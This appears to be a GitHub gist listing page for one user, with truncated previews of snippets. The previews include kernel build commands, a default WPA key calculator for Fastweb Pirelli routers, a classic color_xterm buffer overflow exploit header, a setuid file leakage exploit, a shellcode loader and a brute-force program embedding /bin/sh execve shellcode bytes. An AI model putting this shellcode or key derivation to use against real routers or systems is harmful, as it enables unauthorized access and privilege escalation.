Skip to content

Instantly share code, notes, and snippets.

@packz
packz / gist:1948716
Created March 1, 2012 10:12
Compiling Cyanogenmod kernel
$ make ARCH=arm CROSS_COMPILE=/opt/android-ndk-r5c/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi-

$ make ARCH=arm CROSS_COMPILE=$TOOLCHAIN_PATH/$PREFIX -C /opt/samsung-kernel-aries/ M=$PWD

@packz
packz / gist:2036038
Last active April 29, 2016 17:35
Security
@packz
packz / gist:2240158
Created March 29, 2012 17:15
WPA calculator
/*
*
* Implementazione dello script originariamente al seguente URL
*
* http://www.evilsocket.net
* /1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html
*
* http://wifiresearchers.wordpress.com/
*
*
#include<stdio.h>
#include<stdlib.h>
void print_key(char p[], int f) {
printf("key: ");
int cycle;
for (cycle = 0 ; cycle < 8 ; cycle++) {
printf("%c", p[cycle]);
}
/*
* color_xterm buffer overflow exploit for Linux with non-executable stack
* Copyright (c) 1997 by Solar Designer
*
* Compile:
* gcc cx.c -o cx -L/usr/X11/lib \
* `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//`
*
* Run:
* $ ./cx
@packz
packz / exploit.c
Created May 13, 2012 19:57
Simple file leakage exploit example. Original from http://0x80.org/blog/?p=640
/*
* [qnix:/0x80]$ ls -la getroot password
* -r-sr-x--- 1 root qnix 8966 2012-01-11 17:32 getroot
* -r-------- 1 root root 11 2012-01-11 15:00 password
*/
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
@packz
packz / do_egg.c
Created May 21, 2012 16:46
Shellcode
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include "shellcode.h"
int main(int argc, char* argv[]) {
if (argc < 2) {
fprintf(stderr, "usage: %s <command> <arg1> ...\n", argv[0]);
return 1;
}
@packz
packz / brute.c
Created May 21, 2012 17:09
Bruteforce all the things
#include<stdio.h>
#include<string.h>
#if 0
char SC[] = "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c"
"\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42"
"\x42";
#else